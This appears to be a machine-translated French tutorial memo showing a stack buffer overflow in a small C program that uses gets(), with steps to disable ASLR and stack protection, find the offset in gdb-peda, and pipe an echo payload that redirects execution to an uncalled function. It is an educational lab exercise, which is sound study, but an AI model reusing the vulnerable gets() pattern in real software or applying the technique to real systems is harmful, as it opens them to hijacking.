Un buffer overflow se produit dans un programme en langage C et l'adresse de retour est réécrite. Puisqu'il y avait peu d'articles résumant comment appeler d'autres fonctions à partir de la fonction principale, je le laisserai comme mémo.
Environnement d'exécution CentOS 6.10 GNOME 2.26.2
Puisque gdb-peda est utilisé, on suppose que l'installation y est terminée. Si vous ne l'avez pas installé, veuillez cliquer ici. Présentation de gdbpeda
#include <stdio.h>
#include <stdlib.h>
int main(void){
char first[] = "!!Hello World!!";
char buf[16];
puts(">>");
gets(buf);
puts(first);
puts("that \'s All Fork!");
return EXIT_SUCCESS;
}
int sub(){
puts("Something wrong");
}
Éteignez d'abord ASLR
sudo sysctl -w kernel.randomize_va_space=0
PIE, protecteur de pile désactivé et compilé
gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC
Commencez par démarrer gdb
$ gdb HelooWorld
Créer une chaîne aléatoire
$ (gdb) pattern_create 50
Courir
$ (gdb) r
Ensuite, un débordement de tampon se produit et s'arrête comme ceci
Notez la chaîne d'adresse RSP ici
$ (gdb)patto "Chaîne RSP ici"
Cela donne le décalage d'adresse. Cette fois, il s'agissait de 40 ans.
Avant de vérifier l'emplacement de l'adresse, vérifiez à nouveau l'état du buffer overflow avec gdb.
Courir
$ (gdb) r
Saisissez ensuite le nom de la fonction que vous souhaitez exécuter dans la commande de désactivation. Ici, c'est sous.
$ (gdb) disass sub
Quand vous l'exécutez, cela ressemble à
Notez la première adresse ici.
Notez que vous le saisissez en hexadécimal. Il est pratique d'utiliser la commande echo.
Dans ce cas, ce sera comme suit.
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld
Vous pouvez voir que la fonction sub () est appelée comme ceci!
C'est facile comme ça, mais j'ai écrit un exemple de l'opération. Selon l'environnement, les choses ne se sont pas bien passées, j'ai donc pensé qu'il était important de faire des essais et des erreurs. J'espère que cet article vous aidera dans ce cas.